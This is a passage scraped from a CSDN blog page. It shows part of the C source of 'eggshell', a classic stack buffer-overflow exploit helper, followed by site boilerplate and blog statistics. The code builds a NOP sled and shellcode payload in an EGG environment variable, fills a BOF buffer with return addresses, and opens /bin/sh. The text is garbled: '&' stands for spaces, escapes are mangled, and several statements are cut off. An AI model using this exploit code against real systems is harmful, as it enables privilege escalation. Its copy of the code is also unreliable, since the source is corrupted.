case&'?': usage(); exit(0); } if&(strlen(shellcode)&&&eggsize)&{ printf("Shellcode&is&larger&the&the&egg./n"); exit(0); } if&(!(bof&=&malloc(bsize)))&{ printf("Can't&allocate&memory./n"); exit(0); } if&(!(egg&=&malloc(eggsize)))&{ printf("Can't&allocate&memory./n"); exit(0); } addr&=&get_sp()&-& printf("[&Buffer&size:/t%d/t/tEgg&size:/t%d/tAligment:/t%d/t]/n", bsize,&eggsize,&align); printf("[&Address:/t0x%x/tOffset:/t/t%d/t/t/t/t]/n",&addr,&offset); addr_ptr&=&(long&*)& for&(i&=&0;&i&& i+=4) *(addr_ptr++) = ptr = for (i = 0; i &= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n & NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i & strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '/0'; egg[eggsize - 1] = '/0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]/n"); }
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:1317097次
积分:15697
积分:15697
排名:第218名
原创:197篇
转载:533篇
评论:293条
(1)(2)(1)(2)(1)(1)(3)(1)(2)(2)(3)(1)(1)(1)(20)(2)(4)(4)(3)(2)(1)(3)(3)(2)(5)(2)(2)(2)(5)(4)(1)(4)(5)(4)(10)(7)(5)(8)(10)(14)(16)(31)(14)(10)(11)(45)(26)(15)(22)(5)(3)(4)(1)(15)(18)(9)(24)(21)(25)(52)(70)(54)(34)(7)(23)(23)

我要回帖

更多关于 overflow hidden 的文章

 

随机推荐